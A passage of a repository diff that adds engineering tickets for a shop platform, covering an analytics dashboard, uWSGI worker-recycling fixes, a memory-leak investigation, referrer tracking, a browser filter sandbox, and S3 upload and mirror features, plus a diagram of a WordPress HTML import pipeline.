- `Tag` create/slugify/uniqueness-per-shop
- `Product.tags` collection add/remove
- `Shop.home_layout` defaults to `0`; integer round-trip 0/1/2
- `Shop.tags_by_popularity()` returns shop-scoped tag list ordered by count
- Featured product ids JSON parse + roundtrip
### Integration (`test_integration.py`)
- Operator saves tags on product edit → `product_tag` row written; comma split
handles whitespace, dedupes, slugifies
- Bulk tagger add/remove flow
- `home-layout-settings` form_section save persists all four columns
### Functional (`test_functional.py`)
- Shop home with `home_layout=0` renders `.serp` flat grid, no chip strip
- Shop home with `home_layout=1` renders chip strip + filterable grid
- `?tag=<slug>` filters the grid server-side
- Tag detail page renders products with that tag only
- Bulk tagger page loads, POSTs persist
- Mobile chip strip horizontally scrolls (CSS check — render at `<800px`
viewport via testbench)
## Verification
1. `source vars.sh && make test` — all pass
2. Local: `make serve`, create a shop with 10 fake products, opt into
`home_layout=1`, tag products `math` / `seasonal`, verify chip filter works
3. Local: opt out (`home_layout=0`), verify identical to current behavior
4. Push → CI green → Salt highstate → verify on my.makepostsell.com
5. Send shop link to printableprompts operator for feedback; if positive,
plan Phase 2 (auto-tagger) as MPS-25
## Out of scope (genuinely separate tickets later)
- Tag-aware search **ranking** (Phase 1 adds a tag *filter* to `/search`;
tuning rank weights for tag matches vs title matches is its own ticket
once we have shopper data).
- Faceted filtering (price range + tag + type combined) — wait for shopper
signal after Phase 1.
- Cross-shop tag discovery (browse all shops by tag) — privacy question,
defer.
- Tag-based RSS / sitemap segmentation — defer until tags exist for a few
weeks and the segmentation use case is concrete.
- Tag tree / nested categories — explicitly not in scope, see decision #9.
## References
- `shop.printableprompts.com` crawled 2026-05-15 via sitemap (481 products,
obvious natural categories surfaced from titles)
- `views/shop.py:212` (`home`), `:226` (`shop`), `:275` (`search`)
- `models/product.py:730` (`get_products_from_a_shop`), `:740`
(`get_products_by_keywords`)
- `templates/home.j2` (current flat grid)
- CLAUDE.md "Feature Kill Switches" pattern (MPS-22) — model for shop toggle
- CLAUDE.md "Capability-Driven Presentation" — tag detail page works without JS

195
docs/tickets/mps-3.md Normal file
View file

@ -0,0 +1,195 @@
# MPS-3: Creator Analytics Dashboard
## Problem
MPS-2 collects anonymous signals and derives Engagement, Attention, Learning,
and Passive Consumption scores. Creators need somewhere to see this data and
act on it — know which content pulls people in, which holds them, and where
traffic comes from so they know where to spend time and energy.
## Solution
Add a server-rendered analytics page at `/s/{shop_id}/analytics`. No JS graph
libraries — CSS grid tables, server-computed aggregates, progressive
enhancement. Machine learning can refine the derived scores later without
changing the page structure.
## Access
- Route: `GET /s/{shop_id}/analytics`
- Requires `shop_editor_required` (same as shop settings)
- Link from shop settings page (near existing nav)
## Page Sections
### 1. Overview Strip (shop-wide, last 7 days)
A single row of key numbers at the top:
| Metric | Query |
|--------|-------|
| Total views | `COUNT(*) WHERE visible_ms >= 7000 AND created_timestamp > 7d ago` |
| Unique products viewed | `COUNT(DISTINCT product_id) WHERE visible_ms >= 7000` |
| Avg session duration | `AVG(wall_clock_ms)` |
| Avg ring depth | `AVG(ring_position) WHERE ring_position IS NOT NULL` |
| Top traffic source | `MODE(referrer_class)` (show label: direct/search/social/internal) |
| Device split | `% per device_class` shown as "42% mobile · 7% tablet · 51% desktop" |
### 2. Top Products by Views (last 7 / 14 / 21 days)
Ranked table, top 21 products:
| # | Title | Views (7d) | Views (14d) | Views (21d) | Trend |
|---|-------|-----------|------------|------------|-------|
"Trend" = simple arrow: views(7d) > views(14d)/2 → rising, else falling.
Each title links to the product page.
Query: `GROUP BY product_id`, `COUNT(*) WHERE visible_ms >= 7000`, partitioned
by time windows using `created_timestamp`.
### 3. Ring Entry Points (top 7 front doors)
Which products do people land on first?
| # | Title | Ring Entries (21d) | % of All Entries |
|---|-------|--------------------|-----------------|
Query: `COUNT(*) WHERE is_ring_entry = true GROUP BY product_id ORDER BY
count DESC LIMIT 7`.
This tells the creator: "People find your shop through these 7 products — make
sure they're polished."
### 4. Engagement & Attention Leaders (top 7 each)
Two side-by-side tables:
**Engagement Leaders** (highest lean-in):
| # | Title | Avg Engagement | Sessions |
|---|-------|---------------|----------|
`engagement = active_ms / wall_clock_ms` — computed per session, averaged per
product. Only include sessions with `wall_clock_ms >= 7000` (real visits).
**Attention Holders** (highest focused presence):
| # | Title | Avg Attention | Sessions |
|---|-------|--------------|----------|
`attention = visible_ms / wall_clock_ms` — same filtering.
### 5. Study Material vs Background Favorites (top 7 each)
Two side-by-side tables:
**Study Material** (people rewind, slow down, re-read):
| # | Title | Learning Score | Sessions |
|---|-------|---------------|----------|
Learning score per session = count of true indicators:
- `media_seek_back_count > 0`
- `media_speed < 1.0` (and not NULL)
- `scroll_direction_changes > 3`
- `media_pause_count > 2`
- `active_ms / wall_clock_ms > 0.7`
Average per product, ranked. Minimum 7 sessions to qualify.
**Background Favorites** (lean-back plays):
| # | Title | Passive Score | Sessions |
|---|-------|--------------|----------|
Passive score per session = count of true indicators:
- `visible_ms / wall_clock_ms > 0.7`
- `active_ms / wall_clock_ms < 0.3`
- `media_percent_played > 0.69`
- `media_play_count = 1`
- `media_pause_count = 0`
Average per product, ranked. Minimum 7 sessions to qualify.
### 6. Traffic Sources (last 21 days)
Simple breakdown table:
| Source | Sessions | % |
|--------|----------|---|
| Direct | 142 | 42% |
| Search | 69 | 21% |
| Social | 47 | 14% |
| Internal | 70 | 21% |
| Unknown | 7 | 2% |
Query: `COUNT(*) GROUP BY referrer_class`.
### 7. Device Split (last 21 days)
| Device | Sessions | % |
|--------|----------|---|
| Mobile | 210 | 42% |
| Tablet | 42 | 8% |
| Desktop | 252 | 50% |
Query: `COUNT(*) GROUP BY device_class`.
## Query Strategy
All queries run against `mps_page_session` with time filters using
`created_timestamp`. Since timestamps are milliseconds:
```python
cutoff_7d = now_timestamp() - (7 * 24 * 60 * 60 * 1000)
cutoff_14d = now_timestamp() - (14 * 24 * 60 * 60 * 1000)
cutoff_21d = now_timestamp() - (21 * 24 * 60 * 60 * 1000)
```
For the engagement/attention/learning/passive scores, compute per-session in
the SQL query using CASE expressions, then AVG per product. SQLite handles
this fine for shops with < 100K sessions.
For larger shops (future), the 90-day retention + daily rollup from MPS-2
provides pre-aggregated data.
## Template Layout
CSS grid, two-column on desktop, single-column on mobile. No flexbox per
project rules.
```
[Overview Strip — full width]
[Top Products — full width]
[Ring Entry Points — full width]
[Engagement Leaders | Attention Holders — side by side]
[Study Material | Background Favorites — side by side]
[Traffic Sources | Device Split — side by side]
```
Tables use `<table>` with `class="analytics-table"`. No zebra striping —
keep it clean. Product titles are links. Numbers right-aligned.
## Privacy Note
Displayed in a small footer on the page:
> All data is anonymous. No individual viewer can be identified. Counts
> represent aggregate sessions, not people.
## Files Changed
| File | Change |
|------|--------|
| `views/shop.py` | New `analytics` view with aggregate queries |
| `routes.py` | New route `shop_analytics` |
| `templates/analytics.j2` | New template with 7 sections |
| `static/css/common.css` | `.analytics-table`, `.analytics-overview` styles |
| `templates/shop_settings.j2` | Link to analytics page |
| `tests/test_functional.py` | Analytics page access + permission tests |
| `tests/test_models.py` | Score computation unit tests |
## Depends On
MPS-2 (signal gathering + `mps_page_session` table + `view_count` column)

115
docs/tickets/mps-4.md Normal file
View file

@ -0,0 +1,115 @@
# MPS-4: Eliminate intermittent 502s from uWSGI worker recycling
## Problem
Visitors intermittently see 502 Bad Gateway errors that resolve on refresh.
Root cause: uWSGI workers hit the `--reload-on-rss 256` memory limit every
4-5 minutes under normal watch mode traffic, triggering a kill+respawn cycle.
With only 2 workers (`--processes=2`), when both recycle near-simultaneously
Caddy's `reverse_proxy` gets no available backend and returns 502.
### Evidence (2026-02-11 ~09:15-09:22 UTC)
**Worker memory growth** (from `ps aux`):
- Worker 882747 (spawned 09:18): 242MB RSS after 4 minutes
- Worker 882737 (spawned 09:17): 188MB RSS after 5 minutes
- Both approaching the 256MB kill threshold simultaneously
**Worker recycling frequency** (from `journalctl`):
```
09:15:24 - worker 2 (882687) "Seeya!" → killed → Respawned as 882699
09:15:29 - worker 1 (882640) "Seeya!" → killed → Respawned as 882708
09:15:39 - worker 2 (882699) "Seeya!" → killed → Respawned as 882717
09:17:36 - worker 2 (882717) "Seeya!" → killed → Respawned as 882737
09:18:22 - worker 1 (882708) "Seeya!" → killed → Respawned as 882747
```
Workers survive only ~15 seconds to ~3 minutes under load before hitting
the RSS limit. The 09:15:24 and 09:15:29 kills are only 5 seconds apart —
both workers recycling nearly simultaneously.
**Cold start penalty**: First request after respawn takes 400-600ms
(vs normal 100-130ms) while the app re-initializes:
- 882699 first request: 413ms
- 882717 first request: 409ms
- 882747 first request: 533ms
**System resources**: 4GB total RAM, 1.9GB swap used — memory pressure.
### Current uWSGI config
```
--reload-on-rss 256
--processes=2
--threads 8
--max-requests 10000
--http=127.0.0.1:6001
```
## Solution
Tune uWSGI config to prevent simultaneous worker unavailability:
### 1. Raise RSS limit
Raise `--reload-on-rss` from 256 to 512. Workers currently grow to 242MB
in 4 minutes — 256 is too aggressive and causes constant churn. At 512MB
with 2 workers, worst case is ~1GB for workers, still well within the 4GB
system budget (Caddy + master + crypto_watcher use ~300MB combined).
### 2. Add `--reload-on-rss-stagger`
If available in the installed uWSGI version, or use `--max-requests` with
variance (`--max-requests-delta`) to prevent both workers from recycling at
the same instant. Set `--max-requests-delta 1000` to add randomness
(each worker gets max-requests ± 1000).
### 3. Use lazy-apps mode
Add `--lazy-apps` so each worker loads the application independently after
fork. This costs a bit more memory but means the master doesn't need to
re-fork the full app — workers initialize in parallel and the surviving
worker keeps serving while the new one starts.
### 4. Add `--harakiri` timeout
Add `--harakiri 30` as a safety net — if any request takes >30 seconds
(stuck DB query, deadlock), kill that worker instead of blocking a slot
forever.
### Proposed new config
```
--reload-on-rss 512
--processes=2
--threads 8
--max-requests 10000
--max-requests-delta 2000
--harakiri 30
--die-on-term
--http=127.0.0.1:6001
--lazy-apps
```
## Testing
1. Apply config change on prod (`systemctl edit --full my.makepostsell.com`)
2. `systemctl restart my.makepostsell.com`
3. Monitor with: `watch -n 5 'ps -o pid,rss,vsz,etimes,cmd -p $(pgrep -f "uwsgi.*make_post")'`
4. Verify no 502s during a full watch mode auto-play cycle
5. Monitor swap usage — if swap grows past 2.5GB, back off to 384MB limit
## Risk
Low. Config-only change, easily reversible with a service restart.
The service unit is managed by salt (`/home/fox/foxhop-pillar/caddy/makepostsell.sls`)
so the salt pillar should be updated after validating the new values.
## Depends On
Nothing. Can be applied immediately.
## Blocks
MPS-5 (memory investigation — the RSS tuning buys time but doesn't fix the
underlying memory growth).

126
docs/tickets/mps-5.md Normal file
View file

@ -0,0 +1,126 @@
# MPS-5: Investigate and fix uWSGI worker memory growth
## Problem
uWSGI workers grow from ~83MB (post-fork baseline) to 256MB+ in 4-5 minutes
under normal watch mode traffic. This is ~40MB/minute of RSS growth, which
is excessive for a Python/Pyramid WSGI application serving 40-80KB HTML/JSON
responses.
The rapid growth forces aggressive worker recycling (MPS-4), which causes
intermittent 502s. MPS-4 raises the RSS threshold as a band-aid, but this
ticket addresses the root cause.
### Observed memory timeline
```
Worker 882747 (spawned 09:18):
- Baseline after fork: ~83MB (from master RSS)
- After 4 minutes: 242MB (6.0% of 4GB)
- Growth rate: ~40MB/min
```
### Potential causes
1. **Jinja2 template caching**: Each rendered template (62-81KB output) may
accumulate compiled template objects. With 8 threads per worker, concurrent
renders could multiply this.
2. **SQLAlchemy session accumulation**: If sessions aren't properly closed
after each request, objects pile up in the identity map. The
`lazy="dynamic"` relationships (e.g., `shop.products`) return query objects
that may hold references.
3. **Response body retention**: uWSGI with `--http` mode may buffer response
bodies in worker memory. The 40-80KB HTML pages add up across threads.
4. **Watch mode JSON responses**: The `/watch/{id}/json` endpoint generates
41-51KB JSON responses. Under auto-play, a single visitor generates one of
these every 3-7 seconds. If these response strings linger in memory (Python
string interning, GC generation 2), they accumulate.
5. **Thread-local accumulation**: With 8 threads, any per-thread leak is
multiplied 8x. Thread-local storage, logging buffers, or connection pools
that grow per-thread.
## Investigation Plan
### Step 1: Add memory logging
Add a tween or middleware that logs RSS after every Nth request:
```python
import resource
def memory_tween_factory(handler, registry):
counter = [0]
def memory_tween(request):
response = handler(request)
counter[0] += 1
if counter[0] % 100 == 0:
rss_mb = resource.getrusage(resource.RUSAGE_SELF).ru_maxrss / 1024
log.warning("RSS after %d requests: %dMB [%s]",
counter[0], rss_mb, request.path)
return response
return memory_tween
```
This tells us which request patterns correlate with memory spikes.
### Step 2: Profile with tracemalloc
On a dev instance, enable `tracemalloc` and compare snapshots:
```python
import tracemalloc
tracemalloc.start()
# ... after N requests ...
snapshot = tracemalloc.take_snapshot()
top_stats = snapshot.statistics('lineno')
for stat in top_stats[:20]:
print(stat)
```
### Step 3: Check SQLAlchemy session cleanup
Verify that `pyramid_tm` is properly closing sessions after each request.
Check if `DBSession.remove()` is called in an `after_request` hook. If using
scoped sessions with threads, each thread needs its own session lifecycle.
### Step 4: Test with `--threads 1`
Temporarily run with `--threads 1 --processes 4` instead of `--threads 8
--processes 2`. If memory growth rate drops proportionally, the leak is
per-thread. If it stays the same per-worker, it's in shared state.
### Step 5: Test without watch mode traffic
Hit only static-ish pages (shop landing, product pages) without the SPA
watch mode auto-play. If memory growth slows dramatically, the leak is
specific to the `/watch/{id}/json` or `/signals/beacon` endpoints.
## Solution
Depends on investigation results. Likely fixes:
- **If SQLAlchemy sessions**: Ensure `pyramid_tm` transaction manager commits
and closes properly per-request. Add explicit `DBSession.remove()` in a
response callback.
- **If Jinja2 templates**: Set `jinja2.cache_size` to a bounded value
(default is 400, may be unbounded).
- **If response bodies**: Consider adding `--http-keepalive` or switching
from `--http` to `--http-socket` with Caddy using uwsgi protocol.
- **If thread-local**: Restructure to fewer threads, more processes.
## Files Likely Changed
| File | Change |
|------|--------|
| `__init__.py` or `tweens.py` | Memory logging tween |
| `production.ini` | Jinja2 cache_size if needed |
| systemd service | Thread/process ratio tuning |
## Depends On
MPS-4 (apply the RSS band-aid first to reduce 502 frequency while
investigating).

111
docs/tickets/mps-6.md Normal file
View file

@ -0,0 +1,111 @@
# MPS-6: Referrer Analytics — Domain, Query, and Trend Lines
## Problem
MPS-2 stored only a numeric `referrer_class` (0-4) on each page session. This
tells the creator "42% of traffic is from search" but not *which* search engine,
*which* social platform, or *what keywords* people searched. Creators need
actionable referrer intelligence to know where to spend their marketing energy.
The analytics dashboard also lacked trend visualization — all metrics were
point-in-time tables with no temporal context.
## Solution
### 1. Store referrer domain and search query
Add two columns to `mps_page_session`:
| Column | Type | Example |
|--------|------|---------|
| `referrer_domain` | `Unicode(128)` | `"www.google.com"`, `"twitter.com"` |
| `referrer_query` | `Unicode(256)` | `"lo-fi beats to study to"` |
These are populated by refactoring `classify_referrer()` from returning a single
integer to returning a `(class, domain, query)` tuple. The domain is extracted
from the Referer header URL. The query is parsed from search engine URL
parameters (`q=` for Google/DuckDuckGo/Bing, `p=` for Yahoo).
Privacy: the full Referer URL is never stored. Only the domain and the search
query parameter (if present) are kept. Social and unknown referrers store domain
only.
### 2. Add SVG line chart trend visualization
Server-rendered inline SVG polyline charts for temporal trends. No JavaScript
graph libraries — the charts are computed server-side and rendered as a Jinja2
macro (`line_chart`) that produces `<svg>` elements with `<polyline>` paths.
Five trend lines added to both shop-level and per-product analytics:
| Chart | Y-axis | Color |
|-------|--------|-------|
| Session duration | Avg `wall_clock_ms` (daily) | Blue |
| Engagement | Avg `active_ms / wall_clock_ms` (daily) | Green |
| Bounce rate | % sessions with `visible_ms < 7s` (daily) | Red |
| External referrers | Daily count of non-direct, non-internal sessions | Orange |
Each chart spans 28 days with one data point per day. Zero-days are filled so
the polyline is continuous.
### 3. Add keyword and referrer domain tables
Two new analytics sections:
**Top Referrer Domains** — ranked table of external domains driving traffic,
with session count and percentage bar. Excludes direct and internal traffic.
**Top Search Queries** — ranked table of search engine queries that led to the
shop, extracted from `referrer_query`. Also includes internal shop search
keywords from `mps_shop_search_request`.
### 4. Bucketing functions
Six new query functions in `analytics.py`:
- `_daily_buckets()` — daily view counts (bar chart)
- `_daily_avg_duration()` — daily avg session duration
- `_daily_engagement()` — daily avg engagement ratio
- `_daily_bounce_rate()` — daily bounce rate
- `_daily_referrer_counts()` — daily external referrer sessions
- `_top_referrer_domains()` — top N referrer domains
- `_top_referrer_queries()` — top N search engine queries
- `_top_search_keywords()` — top N internal search keywords
## classify_referrer() Refactor
Before (MPS-2):
```python
def classify_referrer(referrer, request_host):
"""Return 0-4 integer class."""
return 1 # search
```
After (MPS-6):
```python
def classify_referrer(referrer, request_host):
"""Return (class, domain, query) tuple."""
return (1, "www.google.com", "lo-fi beats")
```
Search engine query extraction:
- Google/Bing/DuckDuckGo: `?q=` parameter
- Yahoo: `?p=` parameter
- Other search engines: `?q=` fallback
## Files Changed
| File | Change |
|------|--------|
| `models/page_session.py` | Add `referrer_domain`, `referrer_query` columns |
| `views/signals.py` | Refactor `classify_referrer()` to return tuple; store domain + query |
| `views/analytics.py` | 8 new bucketing/query functions; pass trend data to templates |
| `templates/analytics.j2` | SVG `line_chart` macro; referrer domain table; keyword table |
| `templates/analytics_product.j2` | SVG `line_chart` macro; referrer domain table |
| `scripts/alembic/versions/f3086e09b052_*.py` | Migration: add `referrer_domain`, `referrer_query` |
| `tests/test_models.py` | 12 tests for `classify_referrer()` tuple return |
| `tests/test_functional.py` | Referrer trend chart rendering tests |
## Depends On
MPS-3 (analytics dashboard infrastructure)

63
docs/tickets/mps-7.md Normal file
View file

@ -0,0 +1,63 @@
# MPS-7: Sandbox Mode — Client-Side Creative Filter System
## Problem
Creators want visitors to interact with their media beyond passive viewing.
Existing tools require downloading, editing in external software, and
re-uploading. The friction kills experimentation. Creators need an in-browser
creative toolkit that lets visitors play with filters, export artifacts, and
optionally upload results — all without leaving the shop.
## Solution
A client-side filter engine that runs entirely in the browser. The server stores
a single boolean (`shop.sandbox_mode`). When enabled, every page in the shop
renders a floating toolbar with 32 filter presets, 7 adjustment sliders, SVG
filter effects, canvas export (image + video), and optional face detection via
MediaPipe.
Full architecture and filter reference: [docs/sandbox-mode.md](../sandbox-mode.md)
### Server-side (minimal)
- `sandbox_mode` Boolean column on Shop model
- Toggle in ribbon-settings form section (same form as announcement ribbon,
default theme, grid lanes, show_dates, watch_mode, color_filter)
- `base.j2` conditionally renders toolbar HTML, inline SVG filter definitions,
and loads `sandbox.js` only when `shop.sandbox_mode` is true
- Watch mode SPA integration: `watch.js` calls `window.sandboxReapply()` after
DOM swap to re-apply filters to newly loaded media
### Client-side (sandbox.js, ~700 lines)
- 32 CSS filter presets (4 basic, 4 warm, 4 cool, 4 dramatic, 5 color, 7
Instagram-style, 4 SVG)
- 7 adjustment sliders (brightness, contrast, saturation, hue, blur, sepia,
grayscale)
- Image export via canvas `toBlob()` (requires CORS from CDN)
- Video export via `MediaRecorder` + `captureStream(30fps)`
- Face detection via MediaPipe Face Mesh (4MB WASM, on-demand load)
- localStorage persistence of preset, slider values, panel state
- Upload-to-bucket via presigned POST (see MPS-8)
## Files Changed
| File | Change |
|------|--------|
| `models/shop.py` | `sandbox_mode` Boolean column |
| `views/shop.py` | Toggle handler in `ribbon-settings` form section |
| `templates/shop_settings.j2` | Enable/disable radio buttons |
| `templates/base.j2` | Conditional toolbar HTML + inline SVG defs |
| `static/js/sandbox.js` | Client-side filter engine (IIFE) |
| `static/js/watch.js` | `sandboxReapply()` hook in `updatePageContent()` |
| `static/css/common.css` | Toolbar layout (CSS Grid), mobile responsive |
| `scripts/alembic/versions/a2c13d3117f2_*.py` | Migration: `sandbox_mode` |
| `tests/test_functional.py` | Sandbox toggle, toolbar rendering, script tag tests |
## Depends On
Nothing. Independent feature.
## Blocks
MPS-8 (user S3 bucket for artifact upload)

92
docs/tickets/mps-8.md Normal file
View file

@ -0,0 +1,92 @@
# MPS-8: User S3 Bucket + Artifact Storage
## Problem
Sandbox mode (MPS-7) lets visitors export filtered images and videos, but
exports download to the user's local device. Creators want a way to
automatically upload sandbox artifacts to their own cloud storage — a personal
S3 bucket where filtered content accumulates without manual file management.
## Solution
### User-level S3 credentials
Add S3-compatible storage credentials to the User model (not Shop — a user may
own multiple shops but uses one storage bucket):
| Column | Type | Example |
|--------|------|---------|
| `s3_endpoint` | `Unicode(256)` | `"https://nyc3.digitaloceanspaces.com"` |
| `s3_region` | `Unicode(64)` | `"nyc3"` |
| `s3_bucket` | `Unicode(128)` | `"my-sandbox-exports"` |
| `s3_access_key` | `Unicode(128)` | `"DO00..."` |
| `s3_secret_key` | `Unicode(128)` | `"wJalr..."` |
Property `has_s3_bucket` returns True when endpoint, bucket, access_key, and
secret_key are all non-empty.
### Storage settings form
New section on user settings page (`/u/settings`) with an "Artifact Storage"
form that POSTs to `/u/settings/storage`. Fields: endpoint URL, region
(optional), bucket name, access key, secret key (password field).
### Presigned upload endpoint
`POST /u/sandbox/upload` — accepts `filename` and `content_type` parameters,
generates a presigned POST using the user's stored S3 credentials. Returns
`{presigned: {url, fields}, key}`. The browser uploads the blob directly to the
user's bucket — the file never touches the MPS server.
S3 key format: `sandbox/{user_id}/{timestamp}-{filename}`
Upload limit: 50MB per file (enforced via presigned POST conditions).
### Toolbar integration
When a user has `has_s3_bucket = True`, the sandbox toolbar in `base.j2`
renders with `data-has-bucket="1"`. The `sandbox.js` upload-to-bucket button
appears only when this attribute is present. The upload flow:
1. User exports image/video (canvas toBlob)
2. User clicks "Upload to Bucket"
3. JS POSTs to `/u/sandbox/upload` with filename + content_type
4. Server returns presigned POST URL + fields
5. JS uploads blob directly to user's S3 bucket via FormData POST
### Supported services
Any S3-compatible endpoint: DigitalOcean Spaces, AWS S3, MinIO, Backblaze B2,
Cloudflare R2.
### Security
Credentials stored as plain Unicode columns (same pattern as Stripe/PayPal/Adyen
keys on Shop model). Secret key field uses `type="password"` in the form.
Credentials are only used server-side to generate presigned URLs — they are
never exposed to the browser.
## Shop-Level S3 Mirror (MPS-9)
A separate but related feature: shops can configure their own S3 bucket as a
**mirror** of the MPS main bucket. Every file uploaded to a shop (product files,
thumbnails, shop assets) is automatically copied to the shop's mirror bucket in
a background thread. See [MPS-9](mps-9.md).
## Files Changed
| File | Change |
|------|--------|
| `models/user.py` | S3 credential columns + `has_s3_bucket` property |
| `views/user.py` | Storage settings POST handler + S3 fields in settings dict |
| `views/user_sandbox.py` | Presigned upload endpoint |
| `templates/user_settings.j2` | Artifact Storage form |
| `templates/base.j2` | `data-has-bucket` attribute on sandbox toolbar |
| `static/js/sandbox.js` | Upload-to-bucket button + presigned POST flow |
| `routes.py` | `user_storage_settings`, `user_sandbox_upload` routes |
| `scripts/alembic/versions/f898ba460612_*.py` | Migration: user S3 columns |
| `tests/test_functional.py` | S3 bucket save/clear, presigned upload, toolbar attribute tests |
## Depends On
MPS-7 (sandbox mode — toolbar must exist to add upload button)

92
docs/tickets/mps-9.md Normal file
View file

@ -0,0 +1,92 @@
# MPS-9: Shop S3 Mirror Bucket
## Problem
Creators want a copy of all their shop files in their own S3 bucket — for
backup, CDN flexibility, or migration away from MPS. Currently all files live
exclusively in the MPS DigitalOcean Spaces bucket.
## Solution
### Shop-level mirror credentials
Add S3-compatible mirror credentials to the Shop model:
| Column | Type | Example |
|--------|------|---------|
| `mirror_s3_endpoint` | `Unicode(256)` | `"https://nyc3.digitaloceanspaces.com"` |
| `mirror_s3_region` | `Unicode(64)` | `"nyc3"` |
| `mirror_s3_bucket` | `Unicode(128)` | `"my-shop-mirror"` |
| `mirror_s3_access_key` | `Unicode(128)` | `"DO00..."` |
| `mirror_s3_secret_key` | `Unicode(128)` | `"wJalr..."` |
Property `has_s3_mirror` returns True when all required fields are non-empty.
### Mirror sync engine (`lib/s3_mirror.py`)
Fire-and-forget sync: every file written to the MPS bucket is copied to the
shop's mirror bucket in a daemon thread. The MPS bucket remains the
origin/CDN — the mirror is a passive copy.
Key functions:
- `mirror_key()` — stream-copy a single key (get_object → put_object)
- `mirror_key_async()` — fire-and-forget single key in daemon thread
- `mirror_keys_async()` — fire-and-forget multiple keys in one thread
- `test_mirror_connection()` — validate credentials by listing bucket
- `backfill_mirror_async()` — double-fork detached process that copies all
existing shop files to the mirror (survives uWSGI worker recycling)
Thread safety: ORM objects are not accessed from background threads. All
credentials are captured as plain strings before thread creation. Each thread
creates its own boto3 client.
### Sync hooks
Mirror sync is triggered from:
- **Product upload** (`views/product.py`) — product file + thumbnail
- **Shop asset upload** (`views/shop.py`) — logo, banner
### Mirror settings form
New "Mirror Bucket" section in shop settings (`mirror-settings` form section):
- Endpoint URL, Region, Bucket, Access Key, Secret Key
- "Test Connection" — validates credentials on save
- "Backfill" toggle — triggers `backfill_mirror_async()` to copy all existing
files on first setup
### Backfill architecture
The backfill process needs to survive uWSGI worker recycling (workers get killed
at 512MB RSS). Solution: double-fork to fully detach from uWSGI:
```
Request handler
└─ fork() ─── intermediate child
└─ setsid() + fork() ─── grandchild (fully detached)
└─ fcntl.flock() guard
└─ create own SQLAlchemy engine
└─ list_objects_v2 + mirror_key loop
└─ os._exit(0)
```
One backfill per shop at a time (flock on `/tmp/s3_mirror_backfill_{shop_id}.lock`).
## Files Changed
| File | Change |
|------|--------|
| `models/shop.py` | Mirror S3 credential columns + `has_s3_mirror` property |
| `lib/s3_mirror.py` | Mirror engine: sync, async, test, backfill |
| `views/shop.py` | `mirror-settings` form handler + sync hooks |
| `views/product.py` | Mirror sync hooks on product upload |
| `templates/shop_settings.j2` | Mirror Bucket settings form |
| `routes.py` | No new routes (uses existing shop settings POST) |
| `scripts/alembic/versions/6b516114c393_*.py` | Migration: shop mirror S3 columns |
| `tests/test_functional.py` | Mirror settings save, connection test, backfill |
## Depends On
Nothing. Independent feature (but complements MPS-8 user S3 bucket).

81
docs/wordpress-import-html.dot Normal file
View file

@ -0,0 +1,81 @@
// WordPress HTML Conversion Pipeline — Detail
// Render: dot -Tsvg docs/wordpress-import-html.dot -o docs/wordpress-import-html.dot.svg
digraph html_conversion {
rankdir=LR;
node [shape=box, style="rounded,filled", fontname="monospace", fontsize=9];
edge [fontname="monospace", fontsize=8];
raw_html [label="Raw WordPress HTML\n\n<!-- wp:paragraph -->\n<p class=\"has-large-font-size\">\n[gallery ids=\"1,2,3\"]\n<img srcset=\"...\" />", fillcolor="#fce4ec", shape=note];
subgraph cluster_phase1 {
label="Phase 1: Pre-process (BeautifulSoup)";
style=dashed;
color="#5871ad";
strip_gutenberg [label="Strip Gutenberg\ncomments\n<!-- /?wp:\\S+.*?-->", fillcolor="#e8eaf6"];
strip_shortcodes [label="Strip shortcodes\n[vc_*] [et_pb_*]\n[fusion_*]\nkeep inner content", fillcolor="#e8eaf6"];
convert_embeds [label="Convert embeds\n[embed]URL[/embed]\n→ bare URL", fillcolor="#e8eaf6"];
convert_captions [label="Convert captions\n[caption] → <figure>", fillcolor="#e8eaf6"];
strip_srcset [label="Strip srcset/sizes\nStrip WP classes\nUnwrap empty divs", fillcolor="#e8eaf6"];
}
subgraph cluster_phase2 {
label="Phase 2: Image Migration";
style=dashed;
color="#58ad71";
find_imgs [label="Find all <img> src\nand background-image\nURLs", fillcolor="#e8f5e9"];
strip_suffix [label="Strip WP size suffix\n-300x200 → original\nphoto-1024x768.jpg\n→ photo.jpg", fillcolor="#e8f5e9"];
download [label="Download original\nfrom WP server\nrequests.get()\ntimeout=30s", fillcolor="#e8f5e9"];
upload_s3 [label="Upload to S3\n{shop_id}/{product_id}/\ninline/{filename}\nACL=public-read", fillcolor="#e8f5e9"];
rewrite [label="Rewrite src URLs\nold WP URL\n→ CDN URL", fillcolor="#e8f5e9"];
}
subgraph cluster_phase3 {
label="Phase 3: markdownify";
style=dashed;
color="#ad8f58";
converter [label="WPConverter\n(MarkdownConverter\nsubclass)", fillcolor="#fff8e1"];
figures [label="<figure> → ![alt](url)\n<figcaption> → caption", fillcolor="#fff8e1"];
code [label="<pre><code\nclass=\"language-*\">\n→ fenced code block", fillcolor="#fff8e1"];
headings [label="ATX headings (#)\nbody_width=0\nunicode_snob=True", fillcolor="#fff8e1"];
}
subgraph cluster_phase4 {
label="Phase 4: Post-process";
style=dashed;
color="#666666";
collapse [label="Collapse blank lines\n3+ newlines → 2", fillcolor="#f5f5f5"];
metadata [label="Prepend metadata\n**Categories:** ...\n**Tags:** ...\n**Author:** ...", fillcolor="#f5f5f5"];
flag [label="Flag posts with\nunconverted <html>\nfor manual review", fillcolor="#f5f5f5"];
}
output [label="MPS Content\n\nProduct.description\n(raw markdown)\n\nProduct.description_html\n(rendered HTML)", fillcolor="#e8f5e9", shape=note];
// Flow
raw_html -> strip_gutenberg;
strip_gutenberg -> strip_shortcodes;
strip_shortcodes -> convert_embeds;
convert_embeds -> convert_captions;
convert_captions -> strip_srcset;
strip_srcset -> find_imgs;
find_imgs -> strip_suffix;
strip_suffix -> download;
download -> upload_s3;
upload_s3 -> rewrite;
rewrite -> converter;
converter -> figures;
converter -> code;
converter -> headings;
figures -> collapse [style=invis];
code -> collapse [style=invis];
headings -> collapse;
collapse -> metadata;
metadata -> flag;
flag -> output;
}

305
docs/wordpress-import-html.dot.svg Normal file
View file

@ -0,0 +1,305 @@
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<!-- Generated by graphviz version 2.43.0 (0)
-->
<!-- Title: html_conversion Pages: 1 -->
<svg width="2657pt" height="211pt"
viewBox="0.00 0.00 2657.00 211.00" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<g id="graph0" class="graph" transform="scale(1 1) rotate(0) translate(4 207)">
<title>html_conversion</title>
